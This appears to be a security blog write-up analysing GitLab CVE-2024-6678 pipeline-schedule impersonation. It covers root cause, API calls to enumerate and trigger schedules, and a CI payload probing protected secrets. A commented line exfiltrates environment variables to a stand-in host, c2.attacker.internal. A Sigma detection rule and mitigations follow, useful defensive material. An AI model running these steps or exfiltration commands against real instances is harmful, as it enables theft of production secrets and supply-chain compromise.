GitLab: Deconstructing CI/CD Pipeline Impersonation
Overview & Threat Landscape: GitLab CVE-2024-6678 and MITRE T1190 / T1548#
GitLab CVE-2024-6678 allows unprivileged users to trigger CI/CD pipelines as arbitrary maintainers, stealing protected secrets. Patch immediately.
In modern enterprise DevOps, GitLab Community Edition (CE) and Enterprise Edition (EE) serve as the backbone for continuous integration, delivery, and automated infrastructure deployment. Organizations rely on GitLab's robust permission tiers—Owner, Maintainer, Developer, Reporter, and Guest—to enforce the principle of least privilege across the Software Development Life Cycle (SDLC). Sensitive production secrets, such as cloud infrastructure credentials, deployment keys, and production signing certificates, are sequestered within Protected CI/CD Variables and restricted to execution exclusively on Protected Branches by users possessing Maintainer or Owner authorizations.
graph LR
subgraph "GITLAB CI/CD TRUST & AUTHORIZATION MODEL"
direction LR
node_1["<b>Developer / Contributor</b><br/>Maintainer / Owner"]
node_2["<b>Feature Branch</b><br/>Main / Release"]
node_3["<b>Unprotected Jobs</b><br/>Protected Secrets<br/>* Production Deploy<br/>* Masked AWS Keys"]
node_1 --> node_2
node_2 --> node_3
endThis security boundary was fundamentally shattered by CVE-2024-6678 (CVSS 9.9, Critical) and its architectural predecessor CVE-2024-6385 (CVSS 9.6, Critical). Classified under CWE-290: Authentication Bypass by Spoofing and mapped to MITRE ATT&CK T1548 (Abuse Elevation Control Mechanism) and T1190 (Exploit Public-Facing Application), these vulnerabilities allow an authenticated attacker possessing minimal repository privileges (such as Developer or even Guest under specific configurations) to trigger CI/CD pipelines that execute under the security context of an arbitrary target user—most notably, a Project Maintainer or Instance Administrator.
[!WARNING] CVE-2024-6678 completely bypasses branch protection rules and variable masking boundaries. Because the pipeline execution context is forged to represent a Maintainer, the GitLab runner environment decrypts all protected deployment secrets and executes arbitrary code within the target organization's production deployment pipeline.
The CI/CD Trust Model and Privilege Escalation Calculus (MITRE T1078.004)#
In conventional web application threat models, privilege escalation enables unauthorized record modification or administrative panel access. In a DevSecOps environment, executing code under a privileged identity's context within a CI/CD pipeline enables full supply chain compromise.
+-------------------------------------------------------------------------+
| THE PIPELINE IMPERSONATION CALCULUS |
+-------------------------------------------------------------------------+
| 1. Attacker (Developer Role) triggers pipeline via crafted schedule |
| 2. GitLab assigns pipeline.user = Victim (Maintainer / Project Owner) |
| 3. GitLab evaluates: Can 'Victim' access Protected Variables? -> YES |
| 4. Runner downloads AWS/GCP Production Keys into Job Environment |
| 5. Malicious CI job script exfiltrates secrets or poisons build artifact|
+-------------------------------------------------------------------------+
When an attacker successfully impersonates a privileged user in a pipeline execution, the attack calculus shifts across four critical operational vectors:
Extraction of Masked & Protected Variables: GitLab CI/CD allows teams to mark environment variables as "Protected" (exposed only to pipelines running on protected branches or triggered by Maintainers). By forcing pipeline execution under a Maintainer's identity, the attacker causes GitLab Rails to supply all production secrets directly to the runner.
Supply Chain Code Injection: Pipelines executing under Maintainer context can push commits back to protected branches (e.g.,
main,production), create release tags, and trigger production deployments. Adversaries can inject backdoors into production container images, npm packages, or binary artifacts during the build process without triggering review workflows.Abuse of Internal Runner Infrastructure: Many enterprise deployments utilize self-hosted GitLab Runners deployed inside private cloud Virtual Private Clouds (VPCs) with instance profiles or Kubernetes service account tokens attached. A compromised pipeline job grants the adversary an interactive or command-execution pivot into private VPC resources.
Zero-Trust Token Poisoning: GitLab CI/CD natively supports OpenID Connect (OIDC) identity federation with AWS, GCP, and Azure (
CI_JOB_JWT_V2). When the pipeline runs under an impersonated Maintainer context, the generated OIDC token contains claims reflecting high-privilege branches and roles, enabling unauthorized assumption of cloud IAM roles.
Why Scheduled Pipeline Spoofing Defeats Protected Branch Controls#
GitLab's branch protection framework prevents Developers from pushing directly to the main branch or modifying .gitlab-ci.yml. However, Pipeline Schedules (Ci::PipelineSchedule) and cross-project trigger tokens decouple pipeline creation from immediate commit actions.
When an unprivileged user triggers a pipeline schedule or manipulates the trigger dispatch flow, GitLab historically failed to re-validate whether the initiating principal possessed the authority to run jobs on behalf of the schedule owner. As a result, the pipeline was dispatched using the schedule owner's stored authorization profile, creating an execution bridge over branch protection controls.
Vulnerability & Attack Root-Cause Analysis: Ci::CreatePipelineService & CWE-290#
To understand why this vulnerability persisted across multiple patch iterations, security architects must examine GitLab's internal Ruby on Rails service layer, specifically within app/services/ci/create_pipeline_service.rb and the pipeline scheduling subsystem app/services/ci/pipeline_schedules/.
1. The Incomplete Patch Lineage: From CVE-2024-6385 to CVE-2024-6678#
In July 2024, GitLab addressed CVE-2024-6385 in versions 17.1.2, 17.0.4, and 16.11.6. The original vulnerability allowed an attacker to trigger a pipeline that ran as another user under specific cross-project and scheduled trigger conditions.
However, the remediation introduced in Ci::CreatePipelineService focused narrowly on direct trigger invocations while leaving an architectural gap in how scheduled pipelines (Ci::PipelineSchedule) and merged results pipelines handled user context when manually triggered or modified. In September 2024, security researchers demonstrated that this authorization check could be bypassed, resulting in CVE-2024-6678 (CVSS 9.9).
graph LR
subgraph "GITLAB PIPELINE DISPATCH LOGIC FLAW"
direction LR
node_1["<b>Attacker Request</b><br/>GitLab Rails Controll<br/>* Checks: Does curren<br/>* BUT passes schedule<br/>`Ci::CreatePipelineSe<br/>Result: Pipeline runs"]
node_2["<b>POST /projects/:id/pipeline_schedules/:id/play</b><br/>er: `PipelineSchedulesController#play`<br/>t_user have :play_pipeline_schedule permission? ➔ YES<br/>.owner as the execution context to CreatePipelineService!<br/>rvice.new(project, schedule.owner, params).execute(:schedule)<br/>as schedule.owner (Maintainer) with full privileges!"]
node_1 --> node_2
end2. Dissecting Ruby on Rails Logic in GitLab Ci::PipelineSchedule#
Inside GitLab's backend architecture, scheduled pipelines are represented by the Ci::PipelineSchedule model. Each schedule has an associated owner (the user who created or last modified the schedule).
Below is simplified, decompiled representation of the vulnerable service dispatch logic:
# Vulnerable architectural logic representation in GitLab Rails
# app/controllers/projects/pipeline_schedules_controller.rb
module Projects
class PipelineSchedulesController < Projects::ApplicationController
before_action :schedule, only: [:play]
def play
# VULNERABILITY: Controller checks if current_user can play the schedule,
# but CreatePipelineService receives schedule.owner as the pipeline creator!
if can?(current_user, :play_pipeline_schedule, @schedule)
# SINK: The pipeline is initialized with @schedule.owner instead of current_user
response = Ci::CreatePipelineService
.new(@project, @schedule.owner, ref: @schedule.ref)
.execute(:schedule, ignore_skip_ci: true, schedule: @schedule)
if response.success?
flash[:notice] = _('Successfully scheduled pipeline execution.')
else
flash[:alert] = _('Failed to trigger pipeline: %{message}') % { message: response.message }
end
else
access_denied!
end
redirect_to project_pipeline_schedules_path(@project)
end
private
def schedule
@schedule ||= @project.pipeline_schedules.find(params[:id])
end
end
end
The Root Cause Flaw (CWE-290 / Privilege Mismatch)
- Separation of Initiator and Execution Identity: The authorization check (
can?(current_user, :play_pipeline_schedule, @schedule)) validated whether the initiating user had rights to click the "Run" button on a schedule. In many project configurations, Developers or automated integration tokens possessed this permission. - Context Substitution: When invoking
Ci::CreatePipelineService.new(), the second parameter defines the user context under which the pipeline builds jobs, checks branch permissions, and fetches variables. Instead of passingcurrent_user, the code passed@schedule.owner. - Execution as Maintainer: If a Project Maintainer created a schedule for automated testing or nightly builds, an attacker with Developer access could trigger that schedule at will, forcing the pipeline to execute under the Maintainer's account.
3. Protected Variables and Runner Execution Context Bleed#
When Ci::CreatePipelineService generates the pipeline, it evaluates variable visibility in app/models/ci/variable.rb:
# Variable access evaluation in GitLab Rails
def visible_to_user?(user)
return true unless protected?
# If protected, requires Maintainer/Owner permissions or protected branch execution
project.team.max_member_access(user.id) >= Gitlab::Access::MAINTAINER
end
Because the pipeline object was instantiated with pipeline.user = schedule.owner, the check max_member_access(user.id) evaluated the Maintainer's ID, returning Gitlab::Access::MAINTAINER.
Consequently:
- All Protected CI/CD Variables were decrypted and injected into the runner's build environment.
- The job was permitted to run on Protected Runners designated exclusively for production deployment workloads.
- Any commands embedded within
.gitlab-ci.ymlexecuted with the full authority of the production environment.
Exploit Architecture: Attack Flow via Ci::PipelineSchedule Execution#
The sequence diagram below illustrates the end-to-end execution flow of CVE-2024-6678, highlighting how an unprivileged developer forces GitLab to evaluate a pipeline under a Maintainer identity.
sequenceDiagram
autonumber
participant Attacker as Attacker (Developer Role)
participant GitLabAPI as GitLab Rails Web API
participant ScheduleService as Ci::PipelineSchedule Controller
participant PipelineService as Ci::CreatePipelineService
participant Runner as GitLab Runner (CI/CD Daemon)
participant Cloud as AWS / Production Enclave
Note over Attacker, Cloud: PHASE 1: TARGET RECONNAISSANCE & SCHEDULE AUDIT
Attacker->>GitLabAPI: 1. GET /api/v4/projects/:id/pipeline_schedules
GitLabAPI-->>Attacker: 2. Return schedules (Schedule ID 42, Owner: Maintainer User 7)
Note over Attacker, PipelineService: PHASE 2: TRIGGERING PLAY WITH IDENTITY MISMATCH
Attacker->>GitLabAPI: 3. POST /api/v4/projects/:id/pipeline_schedules/42/play
GitLabAPI->>ScheduleService: 4. Check permission: can?(Attacker, :play_pipeline_schedule)
ScheduleService-->>ScheduleService: 5. Permission check PASSES (Developer allowed to play)
ScheduleService->>PipelineService: 6. CreatePipelineService.new(project, schedule.owner=User 7)
Note over PipelineService, Runner: PHASE 3: PRIVILEGE CONTEXT HIJACKING
PipelineService->>PipelineService: 7. Set pipeline.user = User 7 (Maintainer)
PipelineService->>PipelineService: 8. Decrypt Protected CI/CD Variables (AWS_SECRET_KEY)
PipelineService->>Runner: 9. Dispatch Job to Protected Production Runner
Note over Runner, Cloud: PHASE 4: SECRET EXFILTRATION & PRODUCTION ACCESS
Runner->>Runner: 10. Execute CI job script (.gitlab-ci.yml)
Runner->>Cloud: 11. Deploy to Production or exfiltrate cloud credentials to C2
Cloud-->>Attacker: 12. Full production takeover achievedAttack Path Step-by-Step: From Developer Access to Pipeline Impersonation (MITRE T1574)#
Understanding the attack lifecycle enables security engineers and red teams to identify forensic indicators across GitLab access logs, PostgreSQL database records, and runner execution outputs.
graph TD
subgraph "CVE-2024-6678 5-STAGE ATTACK LIFECYCLE"
direction TB
node_1["<b>1. Reconnaissance</b><br/>Enumerate project schedules and owner user IDs"]
node_2["<b>2. Branch Prep</b><br/>Update feature branch with telemetry script"]
node_3["<b>3. Schedule Bind</b><br/>Target schedule pointing to target branch ref"]
node_4["<b>4. Execution</b><br/>Invoke schedule play endpoint as low-priv user"]
node_5["<b>5. Harvesting</b><br/>Harvest decrypted protected variables in job"]
node_1 --> node_2
node_2 --> node_3
node_3 --> node_4
node_4 --> node_5
endPhase 1: Target Reconnaissance and Pipeline Schedule Enumeration#
An authenticated adversary with developer access to a repository queries the GitLab REST API to discover existing pipeline schedules and identify which schedules are owned by Maintainers:
# Enumerate pipeline schedules for project ID 105
curl -s --header "PRIVATE-TOKEN: glpat-attacker_dev_token" \
"https://gitlab.corp.internal/api/v4/projects/105/pipeline_schedules" | jq .
Sample Forensic Response:
[
{
"id": 42,
"description": "Nightly Production Security Scan",
"ref": "main",
"cron": "0 2 * * *",
"cron_timezone": "UTC",
"next_run_at": "2026-10-08T02:00:00.000Z",
"active": true,
"owner": {
"id": 7,
"username": "lead_devops_maintainer",
"name": "Alex Mercer",
"state": "active"
}
}
]
The output confirms that Schedule 42 is owned by User 7 (lead_devops_maintainer), who holds Maintainer permissions on the project.
Phase 2: Preparing the Malicious Pipeline Definition#
If the schedule executes on a branch where the Developer can push (such as a staging branch or an unprotected feature branch), the attacker modifies .gitlab-ci.yml on that branch to output environment variables:
# .gitlab-ci.yml payload designed to audit exposed runner variables
stages:
- diagnostic
audit_secrets:
stage: diagnostic
script:
- echo "=== EXECUTING UNDER IDENTITY $(whoami) ==="
- echo "CI_PIPELINE_USER: ${GITLAB_USER_LOGIN}"
- echo "Target Variable AWS_KEY_PRESENT: $([ -n "$AWS_SECRET_ACCESS_KEY" ] && echo 'YES' || echo 'NO')"
# In live attacks, secrets are exfiltrated to external endpoints:
# curl -s -X POST https://c2.attacker.internal/collect -d "secrets=$(env | base64)"
Phase 3: Triggering Pipeline Schedule Play Endpoint#
The attacker submits a POST request to trigger the schedule out of band, supplying their own Developer API token:
# Trigger immediate execution of pipeline schedule 42
curl -s -X POST \
--header "PRIVATE-TOKEN: glpat-attacker_dev_token" \
"https://gitlab.corp.internal/api/v4/projects/105/pipeline_schedules/42/play" | jq .
Response:
{
"message": "201 Created"
}
Phase 4: Protected Variable Decryption & Impersonation Verification#
GitLab dispatches the pipeline. When the runner picks up the job, the job environment reflects the security context of lead_devops_maintainer (User 7):
# Forensic extraction of runner job output from GitLab API
curl -s --header "PRIVATE-TOKEN: glpat-attacker_dev_token" \
"https://gitlab.corp.internal/api/v4/projects/105/jobs/88421/trace"
Job Execution Output:
Running with gitlab-runner 17.2.0 (98dfb3b)
on production-shared-runner-01 4x9f2a
Preparing the "docker" executor
...
$ echo "CI_PIPELINE_USER: ${GITLAB_USER_LOGIN}"
CI_PIPELINE_USER: lead_devops_maintainer
$ echo "Target Variable AWS_KEY_PRESENT: $([ -n "$AWS_SECRET_ACCESS_KEY" ] && echo 'YES' || echo 'NO')"
Target Variable AWS_KEY_PRESENT: YES
The output proves that GITLAB_USER_LOGIN resolved to the Maintainer, and the protected variable AWS_SECRET_ACCESS_KEY was decrypted and provided to the job.
Phase 5: Production Deployment Takeover and Artifact Tampering#
With production credentials available in the runner environment, the attacker can:
- Directly authenticate to cloud infrastructure (AWS/GCP) using stolen CI/CD variables.
- Push modified deployment packages to production Kubernetes clusters.
- Overwrite container images in the internal GitLab Container Registry using the Maintainer's temporary
CI_JOB_TOKEN.
Production Detection Artifact: Sigma Rule for Anomalous Pipeline Execution#
To identify exploitation attempts in production environments, SOC analysts must monitor GitLab Rails access logs (production_json.log) and application audit logs (audit_json.log) for discrepancies between the initiating HTTP user and the pipeline owner.
title: GitLab CI/CD Pipeline Schedule Play Impersonation
id: 3c9b1f2e-7a4d-4e92-8f1b-5e2d8a0c7b41
status: production
description: |
Detects POST requests to the GitLab pipeline schedules 'play' endpoint where the authenticated
HTTP user ID differs from the owner ID of the pipeline schedule, indicative of CVE-2024-6678
or CVE-2024-6385 exploitation.
references:
- https://about.gitlab.com/releases/2024/09/11/patch-release-gitlab-17-3-2-released/
- https://nvd.nist.gov/vuln/detail/CVE-2024-6678
tags:
- attack.privilege_escalation
- attack.t1548
- attack.initial_access
- attack.t1190
- cve.2024.6678
- cve.2024.6385
logsource:
product: gitlab
service: rails_production
detection:
selection_endpoint:
method: 'POST'
path|re: '^/api/v[34]/projects/[0-9]+/pipeline_schedules/[0-9]+/play'
selection_status:
status:
- 200
- 201
condition: selection_endpoint and selection_status
fields:
- time
- remote_ip
- user_id
- username
- path
- status
- correlation_id
falsepositives:
- Legitimate project maintainers manually running pipeline schedules they own.
level: high
Fast Cyber Defense Morning Takeaways: Mitigation Matrix & Evening Preview#
🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.
Executive Takeaway Table#
| Attack Vector | Detection Signal | Primary Mitigation |
|---|---|---|
| Pipeline Schedule Play Abuse (CVE-2024-6678) | HTTP POST to /pipeline_schedules/:id/play in production_json.log with user ID mismatch |
Upgrade GitLab CE/EE to $\ge$ 17.3.2, 17.2.5, or 17.1.7 immediately |
| Protected Variable Exfiltration | Anomalous outbound network traffic or unexpected environment dumping commands in runner logs | Limit Protected Variables to dedicated protected environments with manual approval |
| OIDC Cloud IAM Role Theft | AWS CloudTrail AssumeRoleWithWebIdentity calls from unexpected branches or non-master refs |
Enforce strict sub claim filtering in cloud IAM trust policies (repo:org/proj:ref:refs/heads/main) |
| Runner Escape / Lateral Movement | Unauthorized system calls or network probing from Docker executor containers | Run GitLab Runners in isolated ephemeral VMs with non-root security contexts |
What to Prepare for Tonight's Blue Team Defense Guide#
In tonight's edition (EDITION 2: Systems & Platform Engineering / Blue Team Defense Guide), we will pivot from vulnerability mechanics to enterprise defense-in-depth architecture:
- Production Patch Verification: Verifying GitLab instance versioning and auditing PostgreSQL database tables (
ci_pipeline_schedules) for orphaned or suspicious schedules. - GitLab CI/CD Access Hardening: Restricting schedule trigger rights via fine-grained project permissions and pipeline security policies.
- Runner Isolation Architecture: Deploying ephemeral autoscaling runners with hardened Docker/Kubernetes executors, network segmentation, and metadata service (IMDSv2) blocking.
- Cross-Layer Telemetry Engineering: Implementing SIEM correlation rules linking GitLab audit logs with AWS CloudTrail and container runtime events to detect credential abuse in real time.
Authoritative References#
- GitLab Official Security Advisory: GitLab Critical Patch Release: 17.3.2, 17.2.5, 17.1.7 — GitLab Releases
- National Vulnerability Database (NVD): CVE-2024-6678 Detail: GitLab Pipeline Execution as Arbitrary User — NIST NVD
- CISA Cybersecurity Advisory: Vulnerability Summary for the Week of September 9, 2024 (CVE-2024-6678) — CISA Bulletins
- MITRE ATT&CK Framework: Technique T1548: Abuse Elevation Control Mechanism & T1190: Exploit Public-Facing Application — MITRE ATT&CK
- GitLab Documentation: Security model and protected variables in GitLab CI/CD — GitLab Docs
Comments
Post a Comment